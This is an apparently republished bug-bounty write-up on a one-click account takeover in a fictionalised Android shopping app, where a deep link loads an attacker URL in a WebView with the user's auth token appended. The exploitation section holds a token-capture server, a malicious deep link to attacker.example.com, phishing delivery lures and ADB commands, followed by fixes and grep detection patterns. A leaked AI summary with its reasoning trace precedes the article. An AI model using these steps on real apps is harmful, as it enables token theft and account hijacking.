One-Click Account Takeover via Deep Link Token Auto-Append
好的,我需要帮助用户总结这篇文章的内容。用户的要求是用中文总结,控制在100字以内,并且不需要特定的开头。 首先,我快速浏览文章,发现它主要讲的是一个Android应用的安全漏洞。这个漏洞涉及到深度链接(deep links)和WebView组件。 文章提到,攻击者可以通过构造一个特殊的深度链接,让应用打开一个WebView,并自动附加用户的认证令牌。这会导致用户的敏感信息被泄露,从而被攻击者接管账户。 接下来,我需要提取关键点:深度链接的工作原理、漏洞如何被利用、以及攻击的影响。这些内容需要简洁明了地表达出来。 最后,确保总结控制在100字以内,并且语言流畅自然。 </think> 文章描述了一个Android应用的安全漏洞:通过构造恶意深度链接,攻击者可强制应用在WebView中加载任意URL,并自动附加用户的认证令牌作为查询参数。这导致用户敏感信息泄露,攻击者可借此接管账户。 2026-2-26 13:39:27 Author: infosecwriteups.com(查看原文) 阅读量:13 收藏

SJ_Source_Sink

When an Android app silently attaches authentication tokens to every URL opened through a deep link, a single click is all it takes.

Press enter or click to view image in full size

Note: The application name “SomeQuickCart” is used as a fictional substitute throughout this write-up to protect the identity of the actual application.

Deep links are a powerful mobile feature. They allow external sources — websites, other apps, QR codes, messages — to open a specific screen or action within a mobile application. But the trust boundary around deep links is one of the most commonly misunderstood surfaces in mobile security. A deep link is, at its core, an externally controlled input that triggers internal application behavior. When that behavior includes appending sensitive authentication material to arbitrary URLs, the consequences are immediate and severe.

This writeup covers a vulnerability in an Android application where a crafted deep link could force the app to open an attacker-controlled URL in a WebView, with the victim’s authentication token silently appended as a query parameter.

The result: one-click account takeover with zero user interaction beyond tapping a link.

How Deep Links Work in Android

Before diving into the vulnerability, it is worth understanding the mechanics of Android deep links. An Android application can register to handle specific URI schemes through its AndroidManifest.xml. When a user taps a link matching a registered scheme, the operating system routes the intent to the corresponding app.

There are three types of deep links on Android:

  • URI Scheme Deep Links — Custom schemes like myapp:// that are handled exclusively by the app. These are the simplest form and the type used in this vulnerability.
  • App Links — Verified https:// links that use Digital Asset Links to cryptographically prove domain ownership.
  • Intent URIs — Links formatted as intent:// that carry Android intent data directly in the URL.

The example SomeQuickCart Android application (package name com.Somequickcart.delivery) registered a custom URI scheme deep link in its manifest:

<activity android:name=".ui.DeepLinkHandlerActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="android"
android:host="Somequickcart" />
</intent-filter>
</activity>

This registration means the app will handle any URI matching the pattern android://Somequickcart. The activity is marked android:exported="true", which means any other application on the device -- or any browser handling a link click -- can trigger this intent. This is by design for deep links, but it means the entry point is fully exposed to external input.

The Deep Link Parameter Structure

The deep link handler in the app accepts several query parameters that control the app’s behavior upon invocation:

android://Somequickcart?page=<target>&objectId=<id>&isPush=<bool>&objectType=<value>

The parameters break down as follows:

  • page -- Determines which screen or activity to open. Supported values include product detail pages, category views, user profile screens, and webviews.
  • objectId -- An identifier passed to the target page, typically a product ID or content ID.
  • isPush -- A boolean flag indicating whether the deep link originated from a push notification. Used for analytics tracking.
  • objectType -- When page=webview, this parameter specifies the URL to load in the WebView.

The page=webview and objectType combination is where the vulnerability lives. The deep link handler interprets these parameters roughly as follows:

// Pseudocode of the deep link handler
public void handleDeepLink(Intent intent) {
Uri deepLinkUri = intent.getData();
    String page = deepLinkUri.getQueryParameter("page");
String objectId = deepLinkUri.getQueryParameter("objectId");
String isPush = deepLinkUri.getQueryParameter("isPush");
String objectType = deepLinkUri.getQueryParameter("objectType");
if ("webview".equals(page)) {
// objectType is treated as a URL to load
openWebView(objectType);
} else if ("product".equals(page)) {
openProductDetail(objectId);
} else if ("category".equals(page)) {
openCategory(objectId);
}
// ... other page types
}

When page is set to webview, the app takes the value of objectType -- which is entirely attacker-controlled -- and passes it to the WebView loading method. There is no validation of the URL. No domain check. No allowlist. Any URL the attacker provides will be loaded.

The Critical Flaw: Automatic Token Appending

Loading an arbitrary URL in a WebView is already a significant issue. But what elevates this from a simple open redirect to a full account takeover is what happens next. The app’s WebView initialization code automatically appends the current user’s authentication token to every URL it loads.

The relevant code path, reconstructed from reverse engineering the APK:

// Pseudocode of the WebView URL loading logic
public void openWebView(String targetUrl) {
WebView webView = new WebView(this);
    // Configure WebView settings
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setDomStorageEnabled(true);
// Retrieve current user's auth token from session manager
String authToken = SessionManager.getInstance().getUserToken();
// VULNERABLE: Unconditionally append token to ANY URL
if (authToken != null && !authToken.isEmpty()) {
String separator = targetUrl.contains("?") ? "&" : "?";
targetUrl = targetUrl + separator + "tmp_param1=" + authToken;
}
// Load the URL with the appended token
webView.loadUrl(targetUrl);
}

The method openWebView takes whatever URL it receives, retrieves the user's active authentication token from the session manager, and concatenates it as a query parameter named tmp_param1. There is no conditional logic checking whether the destination URL belongs to the SomeQuickCart domain. There is no flag to disable token appending for external URLs. The token is appended unconditionally to every URL loaded through this code path.

This design was likely intended for legitimate internal use — loading authenticated web content within the app, such as in-app promotions, help pages, or account management screens hosted on the web domain.

Get SJ_Source_Sink’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The developers needed the WebView to carry the user’s session context so the web content could render personalized data. But because the deep link handler feeds attacker-controlled URLs into this same method, the token gets sent to any domain the attacker chooses.

Exploitation Walkthrough

Step 1: Setting Up the Attacker Server

The attacker first sets up a simple server to capture incoming requests and extract the authentication token from the query parameters:

# attacker_server.py -- Simple token capture server
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import json
import datetime
class TokenCaptureHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)

# Extract the auto-appended auth token
token = params.get('tmp_param1', [None])[0]
if token:
timestamp = datetime.datetime.now().isoformat()
log_entry = {
"timestamp": timestamp,
"token": token,
"full_path": self.path,
"user_agent": self.headers.get("User-Agent"),
"referer": self.headers.get("Referer"),
"ip": self.client_address[0]
}
print(f"[CAPTURED] Token: {token[:20]}...")
with open("captured_tokens.json", "a") as f:
f.write(json.dumps(log_entry) + "\n")
# Serve a benign-looking page to avoid suspicion
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(b"""
<html>
<body>
<h1>Special Offer!</h1>
<p>This promotion has ended. Redirecting...</p>
<script>setTimeout(() => window.close(), 2000);</script>
</body>
</html>
""")
server = HTTPServer(("0.0.0.0", 443), TokenCaptureHandler)
server.serve_forever()

Step 2: Crafting the Malicious Deep Link

The attacker constructs a deep link that instructs the app to open a WebView pointed at the attacker’s server:

# The malicious deep link
android://somequickcart?page=webview&objectId=14833&isPush=true&objectType=https://attacker.example.com

Breaking this down:

  • android://somequickcart -- Matches the app's registered scheme and host, so Android routes the intent to the someQuickCart app.
  • page=webview -- Tells the deep link handler to open the WebView activity.
  • objectId=14833 -- An arbitrary ID; not functionally relevant but makes the link appear legitimate.
  • isPush=true -- Mimics a push notification origin; may bypass certain analytics-based checks.
  • objectType=https://attacker.example.com -- The attacker's server URL, passed directly to the WebView.

Step 3: Delivering the Deep Link to the Victim

The deep link can be delivered through numerous channels:

# Delivery Method 1: Direct link in a message (SMS, WhatsApp, email)
"Check out this exclusive deal on someQuickCart!
android://somequickcart?page=webview&objectId=14833&isPush=true
&objectType=https://attacker.example.com"

# Delivery Method 2: HTML page with an auto-redirect

<html>
<head>
<meta http-equiv="refresh"
content="0;url=android://somequickcart?page=webview
&objectId=14833&isPush=true
&objectType=https://attacker.example.com">
</head>
<body>Redirecting to the app...</body>
</html>

# Delivery Method 3: Via ADB for testing/demonstration

adb shell am start -a android.intent.action.VIEW \
-d "android://somequickcart?page=webview\
&objectId=14833&isPush=true\
&objectType=https://attacker.example.com"

Step 4: The Attack Executes

When the victim taps the link:

  1. Android recognizes the android://somequickcart scheme and launches the SomeQuickCart app.
  2. The DeepLinkHandlerActivity parses the query parameters.
  3. It sees page=webview and extracts objectType=https://attacker.example.com.
  4. It calls openWebView("https://attacker.example.com").
  5. The WebView loading code retrieves the user’s auth token from the session manager.
  6. It appends the token: https://attacker.example.com?tmp_param1=VICTIM_AUTH_TOKEN.
  7. The WebView loads the URL, sending a GET request to the attacker’s server with the token in the query string.

The attacker’s server logs the token. The victim sees a benign page that closes itself. The entire attack completes in under a second.

Attack Flow Diagram

Press enter or click to view image in full size

Why Query Parameter Token Leakage Is Especially Dangerous

The fact that the token is appended as a URL query parameter — rather than sent in an HTTP header or POST body — makes this vulnerability significantly worse than it might initially appear. Query parameters leak through multiple channels beyond just the direct HTTP request:

1. Server Access Logs

# The token appears in the attacker's web server access log
# Even without custom capture code, standard logging records it:
192.168.1.100 - - [15/Feb/2026:14:32:01 +0000]
"GET /?tmp_param1=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NTY3OH0
HTTP/1.1" 200 1024
"android-app://com.Somequickcart.delivery" "Mozilla/5.0 ..."

2. Referer Header Leakage

# If the attacker's page loads ANY external resource (image, script,
# stylesheet, analytics pixel), the full URL including the token
# leaks via the Referer header to that third-party resource:

GET /pixel.gif HTTP/1.1
Host: analytics-provider.example.com
Referer: https://attacker.example.com/?tmp_param1=eyJhbGci...

# The token is now also visible to the analytics provider

Technical Root Cause Analysis

This vulnerability results from three independent design failures that combine to produce account takeover:

Failure 1: No URL Validation in the Deep Link Handler

The deep link handler passes the objectType parameter directly to the WebView without any validation. It does not check whether the URL belongs to the SomeQuickCart domain, does not enforce HTTPS, and does not reject unexpected schemes or hosts.

// VULNERABLE: No validation
openWebView(objectType); // objectType = "https://evil.example.com"

// SECURE: Domain allowlist
private static final Set<String> ALLOWED_HOSTS = Set.of(
"Somequickcart.com",
"www.Somequickcart.com",
"m.Somequickcart.com",
"help.Somequickcart.com"
);

public void openWebView(String url) {
Uri parsed = Uri.parse(url);
String host = parsed.getHost();

if (host == null || !ALLOWED_HOSTS.contains(host.toLowerCase())) {
Log.w(TAG, "Blocked WebView load for untrusted host: " + host);
return;
}
// Only proceed for trusted domains
loadUrlInWebView(url);
}

Failure 2: Unconditional Token Appending

The WebView loading logic appends the authentication token to every URL regardless of the destination. There is no conditional check on the URL’s domain before attaching sensitive credentials.

// VULNERABLE: Token appended to ANY URL
targetUrl = targetUrl + "?tmp_param1=" + authToken;

// SECURE: Only append token for first-party domains
public String prepareUrl(String url) {
Uri parsed = Uri.parse(url);
String host = parsed.getHost();

if (host != null && isFirstPartyDomain(host)) {
// Only attach token for our own domains
String separator = url.contains("?") ? "&" : "?";
return url + separator + "tmp_param1=" + getAuthToken();
}
// External URLs never receive the token
return url;
}

Failure 3: Token Sent as Query Parameter Instead of Header

Even for legitimate first-party use, transmitting authentication tokens as URL query parameters is a poor practice. Tokens in query strings are logged, cached, and leaked through referer headers. Secure implementations use HTTP headers.

// VULNERABLE: Token in query parameter (logged, leaked, cached)
webView.loadUrl(url + "?tmp_param1=" + token);

// SECURE: Token in HTTP header (not logged in URL, not leaked via referer)
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + token);
webView.loadUrl(url, headers);

The vulnerability begins with external input in the form of a crafted deep link, where the objectType parameter contains an attacker-controlled URL. Because the deep link handler performs no URL validation, it blindly passes this untrusted URL directly to the WebView. This leads to the first failure: the application does not verify whether the destination belongs to a trusted domain. Next, due to unconditional token appending, the application automatically attaches the user’s authentication token to every URL loaded in the WebView, including attacker-controlled domains. This represents the second failure, as sensitive credentials are exposed to untrusted destinations. The third failure occurs because the token is appended as a query parameter, making it visible in server logs, browser history, referer headers, and intermediary systems. As a result, the attacker’s server receives a request containing the victim’s token, such as https://evil.example.com/?tmp_param1=TOKEN. Once the attacker obtains this token, they can reuse it to authenticate as the victim and gain unauthorized access to the victim’s account, completing the compromise chain.

Any one of these three failures being addressed would have prevented the attack. URL validation would block the attacker’s domain from loading. Conditional token appending would prevent the token from being attached to external URLs. Using headers instead of query parameters would prevent the token from being captured in server logs even if it were sent. Defense in depth means implementing all three.

Secure Implementation and Remediation

1. Implement Strict URL Allowlisting in the Deep Link Handler

public class DeepLinkHandlerActivity extends AppCompatActivity {

// Allowlisted domains for WebView loading
private static final Set<String> ALLOWED_WEBVIEW_HOSTS = Set.of(
"Somequickcart.com",
"www.Somequickcart.com",
"m.Somequickcart.com",
"help.Somequickcart.com",
"promo.Somequickcart.com"
);
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri deepLinkUri = getIntent().getData();
if (deepLinkUri == null) {
finish();
return;
}
String page = deepLinkUri.getQueryParameter("page");
String objectType = deepLinkUri.getQueryParameter("objectType");
if ("webview".equals(page)) {
if (objectType == null || objectType.isEmpty()) {
Log.w(TAG, "Deep link webview request with no URL");
finish();
return;
}
// Parse and validate the target URL
Uri targetUri = Uri.parse(objectType);
String scheme = targetUri.getScheme();
String host = targetUri.getHost();
// Enforce HTTPS only
if (!"https".equals(scheme)) {
Log.w(TAG, "Blocked non-HTTPS WebView URL: " + scheme);
finish();
return;
}
// Validate against domain allowlist
if (host == null || !isAllowedHost(host)) {
Log.w(TAG, "Blocked untrusted WebView host: " + host);
finish();
return;
}
openWebView(objectType);
}
}
private boolean isAllowedHost(String host) {
host = host.toLowerCase(Locale.US);
for (String allowed : ALLOWED_WEBVIEW_HOSTS) {
if (host.equals(allowed) || host.endsWith("." + allowed)) {
return true;
}
}
return false;
}
}

2. Conditional Token Attachment with Domain Verification

public class SecureWebViewActivity extends AppCompatActivity {
private static final Set<String> TOKEN_ELIGIBLE_HOSTS = Set.of(
"Somequickcart.com",
"api.Somequickcart.com"
)
public void loadSecureUrl(WebView webView, String url) {
Uri parsed = Uri.parse(url);
String host = parsed.getHost();
if (host != null && isTokenEligible(host)) {
// First-party domain: send token via HTTP header (NOT query param)
Map<String, String> headers = new HashMap<>();
String token = SessionManager.getInstance().getUserToken();
if (token != null) {
headers.put("Authorization", "Bearer " + token);
}
webView.loadUrl(url, headers);
} else {
// External domain: load without any credentials
webView.loadUrl(url);
}
}
private boolean isTokenEligible(String host) {
host = host.toLowerCase(Locale.US);
for (String eligible : TOKEN_ELIGIBLE_HOSTS) {
if (host.equals(eligible) || host.endsWith("." + eligible)) {
return true;
}
}
return false;
}
}

3. WebView Navigation Interception

Even with deep link validation, the WebView itself should prevent navigation to untrusted domains. This catches cases where a legitimate page might redirect or where JavaScript attempts to navigate the WebView:

webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
String host = uri.getHost();
if (host == null || !isAllowedHost(host)) {
// Block navigation to untrusted domains
Log.w(TAG, "Blocked WebView navigation to: " + host);
// Optionally open in external browser without token
Intent browserIntent = new Intent(Intent.ACTION_VIEW, uri);
startActivity(browserIntent);
return true; // Prevent WebView from loading it
}
return false; // Allow navigation within trusted domains
}
});

4. Replace Query Parameter Tokens with Secure Alternatives

// Option A: Use HTTP headers (preferred)
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + token);
webView.loadUrl(url, headers);
// Option B: Use postUrl with token in POST body
String postData = "auth_token=" + URLEncoder.encode(token, "UTF-8");
webView.postUrl(url, postData.getBytes());
// Option C: Use JavaScript bridge for cookie-based auth
webView.evaluateJavascript(
"document.cookie = 'session=" + token + "; Secure; HttpOnly; SameSite=Strict';",
null
);
// NEVER DO THIS:
// webView.loadUrl(url + "?tmp_param1=" + token);

Detection Methods

Static Analysis (Code Review / SAST)

# Grep patterns to detect this vulnerability class in Android codebases:

# 1. Find deep link handlers that open WebViews
grep -rn "getQueryParameter.*objectType\|getQueryParameter.*url\|getQueryParameter.*link" \
--include="*.java" --include="*.kt" app/src/

# 2. Find token appending to URLs
grep -rn "tmp_param1\|token.*[+].*url\|url.*[+].*token\|appendQueryParameter.*token" \
--include="*.java" --include="*.kt" app/src/

# 3. Find exported activities with intent filters (potential deep link handlers)
grep -rn "android:exported=\"true\"" AndroidManifest.xml

# 4. Find WebView loadUrl calls that include query parameters
grep -rn "loadUrl.*[+].*param\|loadUrl.*[+].*token\|loadUrl.*[+].*auth" \
--include="*.java" --include="*.kt" app/src/

Dynamic Analysis (Runtime Testing)

# Test 1: Send the deep link via ADB and monitor network traffic
adb shell am start -a android.intent.action.VIEW \
-d "android://Somequickcart?page=webview\&objectId=1\&isPush=true\
\&objectType=https://your-burp-collaborator.example.com"

# Expected: If vulnerable, Burp Collaborator receives a request
# with tmp_param1 containing the auth token

Broader Patterns: Deep Link Security in Mobile Applications

This vulnerability is not an isolated incident. Deep link handling is one of the most consistently problematic areas in mobile application security. The root issue is that deep links are externally controlled inputs that trigger privileged internal behavior. Any time a deep link can influence what URLs are loaded, what data is displayed, or what actions are taken, the trust boundary must be carefully enforced.

Common deep link vulnerability patterns to test for:

1. OPEN REDIRECT VIA DEEP LINK
Deep link parameter controls a URL that the app navigates to.
No domain validation. Used for phishing or token theft.
Pattern: myapp://open?url=https://evil.com

2. TOKEN/CREDENTIAL LEAKAGE
App attaches auth material to URLs loaded from deep links.
Tokens leak via query params, headers, or JS bridges.
Pattern: myapp://webview?url=X -> X?token=SECRET [THIS BUG]

3. JAVASCRIPT INJECTION VIA DEEP LINK
Deep link parameter is interpolated into JavaScript context
within a WebView without sanitization.
Pattern: myapp://page?name=<script>...</script>

4. LOCAL FILE ACCESS VIA DEEP LINK
Deep link can open file:// or content:// URIs in WebView,
allowing reading of local files or app sandbox data.
Pattern: myapp://webview?url=file:///data/data/com.app/...

5. INTENT INJECTION VIA DEEP LINK
Deep link parameters are used to construct Intents that
are dispatched internally, allowing access to unexported
activities or broadcast receivers.
Pattern: myapp://action?target=com.app/.AdminActivity

6. PARAMETER INJECTION VIA DEEP LINK
Deep link parameters are passed to API calls or form
submissions without validation, allowing parameter
tampering or injection attacks.
Pattern: myapp://checkout?promo=ATTACKER_CODE&price=0

When auditing a mobile application, every registered deep link scheme and every parameter it accepts should be treated as a potential attack vector. Map the data flow from the deep link URI through the handler logic to every downstream action — URL loading, API calls, intent dispatch, data display — and verify that appropriate validation exists at each stage.

Key Takeaways

Deep links are external inputs. They are no different from HTTP request parameters or form submissions from a trust perspective, yet they are routinely treated as internal or trusted data. The fact that a deep link opens “your own app” does not make its parameters safe. The attacker controls every part of the URI.

Automatic credential attachment is a dangerous pattern. The design of unconditionally appending authentication tokens to URLs loaded in a WebView is inherently fragile. It works correctly only as long as every possible code path that loads a URL is restricted to first-party domains. The moment any code path allows an external URL — whether through a deep link, a redirect, a push notification payload, or a JavaScript navigation — the token leaks. Secure designs either use HTTP headers for token transmission or implement strict per-request domain verification before attaching credentials.

Query parameters are the worst transport for secrets. Tokens in query strings are logged by web servers, cached by browsers, leaked through referer headers, stored in history, and visible to network intermediaries. Even when tokens must be sent to a URL, HTTP headers or POST bodies are categorically safer. The tmp_param1 naming convention in this case suggests the developers may have considered it a temporary solution -- but temporary workarounds in security-critical code paths have a way of becoming permanent.

Defense in depth is not optional. Any single mitigation — URL allowlisting, conditional token attachment, or header-based token transport — would have prevented this specific attack.

But complete mitigation requires all three.

  • URL allowlisting prevents external domains from loading.
  • Conditional token attachment prevents credentials from reaching untrusted destinations even if validation is bypassed.
  • Header-based transport prevents token leakage through logs and referrers even in failure scenarios.

Each layer catches the failures of the other controls.

Episode #3 of my vulnerability research series.

#bugbounty #mobilesecurity #android #deeplinks #accounttakeover #tokenleakage #webview #appsec #infosec #CWE919


文章来源: https://infosecwriteups.com/one-click-account-takeover-via-deep-link-token-auto-append-ad91993bd336?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh